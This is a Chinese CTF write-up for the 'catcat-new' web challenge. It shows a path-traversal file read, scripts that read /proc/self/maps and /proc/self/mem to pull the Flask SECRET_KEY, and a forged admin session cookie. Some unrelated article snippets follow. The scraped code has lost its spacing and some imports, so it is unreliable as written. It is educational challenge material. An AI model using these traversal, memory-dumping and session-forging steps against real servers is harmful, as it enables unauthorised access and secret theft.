news 2026/1/21 7:33:47

攻防世界: catcat-new

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
攻防世界: catcat-new

攻防世界: catcat-new

本文知识点:

  1. 常用的系统文件的作用

    • /proc/self/cmdline: 程序启动的命令行参数
    • /proc/self/maps: 程序使用的内存地址(有点像页表,记录程序使用了那些地址,这些地址的读写权限等)
    • /proc/self/mem: 可以读取或则程序正在使用的内存,不能直接读取,需要配合/proc/self/maps来进行读取。(猜测虚拟地址的原因,导致很多内存实际是没有分配的,读取就会出错)
  2. flask伪造session的生成

    可以借助这个工具进行生成:https://github.com/noraj/flask-session-cookie-manager, 具体的使用见后文。

题目网页:

初步分析

经过一番点击后,发现可能有文件包含的漏洞,如下:

测试后确实存在文件包含相关的漏洞,如下:

proc/self/cmdline

查看当前程序启动时用的命令函参数:

格式化数据

前面得知存在文件包含的漏洞,因此可以考虑构造payload:../app.py, 得到app.py的源代码

可以使用下面的代码格式化数据

test=b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'print(test.decode())

文件内容输出

importosimportuuidfromflaskimportFlask,request,session,render_template,Markupfromcatimportcat flag=""app=Flask(__name__,static_url_path='/',static_folder='static')app.config['SECRET_KEY']=str(uuid.uuid4()).replace("-","")+"*abcdefgh"ifos.path.isfile("/flag"):flag=cat("/flag")os.remove("/flag")@app.route('/',methods=['GET'])defindex():detailtxt=os.listdir('./details/')cats_list=[]foriindetailtxt:cats_list.append(i[:i.index('.')])returnrender_template("index.html",cats_list=cats_list,cat=cat)@app.route('/info',methods=["GET",'POST'])definfo():filename="./details/"+request.args.get('file',"")start=request.args.get('start',"0")end=request.args.get('end',"0")name=request.args.get('file',"")[:request.args.get('file',"").index('.')]returnrender_template("detail.html",catname=name,info=cat(filename,start,end))@app.route('/admin',methods=["GET"])defadmin_can_list_root():ifsession.get('admin')==1:returnflagelse:session['admin']=0return"NoNoNo"if__name__=='__main__':app.run(host='0.0.0.0',debug=False,port=5637)

代码解读:

下面部分代码生成SECRET_KEY, 这个**SECRET_KEY会被flask用来生成session**。后面我们伪造seesion的时候也需要用到。

app.config['SECRET_KEY']=str(uuid.uuid4()).replace("-","")+"*abcdefgh"

下面部分代码是读取flag这个文件,读取后进行删除,因此我们不能直接通过文件包含漏洞直接得到flag的内容

ifos.path.isfile("/flag"):flag=cat("/flag")os.remove("/flag")

下面这部分代码看到/admin这个路由下面有一个分支能够返回flag,但是需要session中的admin字段值为1,才会返回flag

@app.route('/admin',methods=["GET"])defadmin_can_list_root():ifsession.get('admin')==1:returnflagelse:session['admin']=0return"NoNoNo"

获得session的SECRET_KEY

前面得知我们需要访问/admin这个路由,并且session中admin字段的值必须为1,我们才能得到flag。因此我们考虑伪造session。

为了伪造session,我们需要先得到生成session的SECRET_KEY。由于这个key的特征比较明显,且以"*abcdefgh"结尾,因此我们直接通过读取程序的内存得到。

获取文件proc/self/maps的输出

为了读取/porc/self/mem,我们先读取proc/self/maps, 避免访问到未分配的内存,导致程序崩溃。可以使用下面的代码获得文件的输出,并保存到maps.txt

importrequests url='http://61.147.171.103:56444/info'# 这个函数的功能是穷举../的个数,实际上../后面发现都是两个def get_file(file,n=10): by_pass="../"foriinrange(n): params={'file':by_pass * i + file}res=requests.get(url,params=params)ifres.status_code==200and"not exist or can not be read"notinres.text: by_pass=by_pass * ireturnresreturnNone res=get_file("proc/self/maps")print(res.url)tmp=re.search("<p>(.*?)</p>", res.text)b=eval(html.unescape(tmp.group(1)))# 将得到的数据解析,然后转换为字节数组with open("maps.txt","w")as f: f.write(html.unescape(b.decode()))

读取proc/self/mem中的内容

读取maps.txt文件中的内容,并根据此来读取服务器中文件proc/self/mem中的内容

importrequests url='http://61.147.171.103:56444/info'addr=[]withopen("./maps.txt","r")asf:forlineinf.readlines():if"rw"inline:res=re.search("([0-9a-f]+)-([0-9a-f]+)",line)start_addr=res.group(1)end_addr=res.group(2)addr.append((int(start_addr,16),int(end_addr,16)))param={"file":"../../proc/self/mem","start":addr[0][0],"end":addr[0][1]}res=requests.get(url,params=param)print(res.url)print(len(addr))fors,einaddr:param={"file":"../../proc/self/mem","start":s,"end":e}try:res=requests.get(url,params=param,timeout=10)ifres.status_code==200:# breakprint(res.url)secret_key=re.findall(r"[a-z0-9]{32}\*abcdefgh",res.text)ifsecret_key:print(secret_key)# 输出 ['35283a686d334d68a247b335e39149e4*abcdefgh']breakexceptrequests.exceptions.Timeout:print("超时")

输出结果:['35283a686d334d68a247b335e39149e4*abcdefgh']

也就是SECRET_KEY的值为35283a686d334d68a247b335e39149e4*abcdefgh

通过SECRET_KEY伪造session

访问/admin路径

当我们访问/admin这个路由的时候,我们会收到服务端返回的session数据。我们需要保留session中的其他字段,只修改admin字段(虽然这个seesion中只有admin字段,但是实际场景中可能含有多个)。

然后使用flask_session_cookie_manager3.py进行解密,其中文件可以从https://github.com/noraj/flask-session-cookie-manager得到。

如上图, 将服务器传送的session解码,然后修改内容,加密得到的session为eyJhZG1pbiI6MX0.aW4zWw.rP0KTjXqUOOC3oG2srnVC75RIYg

将session设置到请求头中,然后发送请求,得到flag!!!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/21 7:33:39

攻防世界: ics-05

攻防世界&#xff1a; ics-05 本文知识点 preg_replace可执行代码漏洞的使用 preg_replace有三个参数&#xff0c;第一个参数是正则的模式字符串&#xff0c;第二个是替换的数据&#xff0c;第三个是正则模式字符串要去匹配的字符串。 当正则的模式字符串与要匹配的字符串匹配…

作者头像 李华
网站建设 2026/1/21 7:33:21

BetterNCM终极改造指南:从普通播放器到全能音乐工作站

BetterNCM终极改造指南&#xff1a;从普通播放器到全能音乐工作站 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 你是否觉得网易云音乐的界面太过单调&#xff1f;想要更多个性化功能…

作者头像 李华
网站建设 2026/1/21 7:32:44

快速验证微调效果:Qwen2.5-7B推理测试全流程演示

快速验证微调效果&#xff1a;Qwen2.5-7B推理测试全流程演示 1. 为什么这次微调验证值得你花十分钟&#xff1f; 你有没有遇到过这样的情况&#xff1a;辛辛苦苦跑完一轮LoRA微调&#xff0c;结果一测试发现模型还是固执地自称“阿里云开发的”&#xff0c;完全没记住你精心设…

作者头像 李华
网站建设 2026/1/21 7:32:34

PinWin:让任意窗口始终置顶的终极解决方案

PinWin&#xff1a;让任意窗口始终置顶的终极解决方案 【免费下载链接】PinWin Pin any window to be always on top of the screen 项目地址: https://gitcode.com/gh_mirrors/pin/PinWin 在Windows多任务处理中&#xff0c;你是否经常因为窗口切换而打断工作流程&…

作者头像 李华
网站建设 2026/1/21 7:32:30

深度启动盘制作工具完全攻略:从零基础到精通使用

深度启动盘制作工具完全攻略&#xff1a;从零基础到精通使用 【免费下载链接】deepin-boot-maker 项目地址: https://gitcode.com/gh_mirrors/de/deepin-boot-maker 还在为系统安装、数据救援或硬件测试而困扰吗&#xff1f;深度启动盘制作工具正是你需要的终极解决方案…

作者头像 李华
网站建设 2026/1/21 7:32:06

PDF视觉差异对比工具:让文档比较变得简单高效

PDF视觉差异对比工具&#xff1a;让文档比较变得简单高效 【免费下载链接】diff-pdf A simple tool for visually comparing two PDF files 项目地址: https://gitcode.com/gh_mirrors/di/diff-pdf 在日常工作中&#xff0c;你是否曾经遇到过这样的情况&#xff1a;收到…

作者头像 李华